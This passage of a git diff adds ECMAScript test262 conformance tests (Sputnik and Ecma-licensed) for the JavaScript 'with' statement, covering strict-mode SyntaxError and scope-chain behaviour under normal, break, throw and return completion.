+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-9-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-9-s.js
new file mode 100644
index 000000000..b0e29e256
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-9-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-9-s.js
+ * @description with statement in strict mode throws SyntaxError (strict function expression)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ eval("\
+ var f = function () {\
+ \'use strict\';\
+ var o = {}; \
+ with (o) {}; \
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError) ;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/browser.js b/js/src/tests/test262/ch12/12.10/12.10.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/browser.js
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/shell.js b/js/src/tests/test262/ch12/12.10/12.10.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/shell.js
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T1.js
new file mode 100644
index 000000000..2256e66b7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T1.js
@@ -0,0 +1,139 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.10_T1.js
+ * @description Using interation statement within "with" statement leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ do{
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ while(false);
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T2.js
new file mode 100644
index 000000000..35978c0d3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T2.js
@@ -0,0 +1,148 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.10_T2.js
+ * @description Using iteration statement within "with" statement leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ do{
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ while(false);
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T3.js
new file mode 100644
index 000000000..b7f67f521
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T3.js
@@ -0,0 +1,151 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.10_T3.js
+ * @description Using iteration statment withing "with" statement leading to completion by exception
+ * iteration statement inside with statement - exception completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ do{
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ while(false);
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "myObj_value")){
+ $ERROR('#0: result === "myObj_value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T4.js
new file mode 100644
index 000000000..87ba7f654
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T4.js
@@ -0,0 +1,141 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.10_T4.js
+ * @description Using iteration statement witthin "with" staement leading to completion by break
+ * iteration statement inside with statement - break completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ do{
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ break;
+ }
+ while(false);
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === "x4")){
+ $ERROR('#4: p4 === "x4". Actual: p4 ==='+ p4 );
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "value")){
+ $ERROR('#19: myObj.value === "value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T5.js
new file mode 100644
index 000000000..05d7d8d04
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.10_T5.js
@@ -0,0 +1,142 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.10_T5.js
+ * @description Using iteration statement within "with" statement leading to completion by break
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ do{
+ break;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ while(false);
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+if(!(p4 === undefined)){
+ $ERROR('#4: p4 === undefined. Actual: p4 ==='+ p4 );
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T1.js
new file mode 100644
index 000000000..a939778d8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T1.js
@@ -0,0 +1,147 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.11_T1.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+}
+
+with(myObj){
+ f();
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+try{
+ p3;
+ $ERROR('#3: p3 is nod defined');
+}
+catch(e){
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === parseInt)){
+ $ERROR('#11: st_parseInt === parseInt. Actual: st_parseInt ==='+ st_parseInt );
+}
+
+if(!isNaN(st_NaN)){
+ $ERROR('#12: st_NaN === NaN. Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === Infinity)){
+ $ERROR('#13: st_Infinity === Infinity. Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === eval)){
+ $ERROR('#14: st_eval === eval. Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === parseFloat)){
+ $ERROR('#15: st_parseFloat === parseFloat. Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === isNaN)){
+ $ERROR('#16: st_isNaN === isNaN. Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === isFinite)){
+ $ERROR('#17: st_isFinite === isFinite. Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try {
+ value;
+ $ERROR('#18: value is not defined');
+} catch(e) {
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T2.js
new file mode 100644
index 000000000..cfbefef48
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.11_T2.js
@@ -0,0 +1,152 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.11_T2.js
+ * @description Calling a function within "with" statement declared without the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+}
+
+with(myObj){
+ result = f();
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === "x1")){
+ $ERROR('#1: p1 === "x1". Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+try{
+ p3;
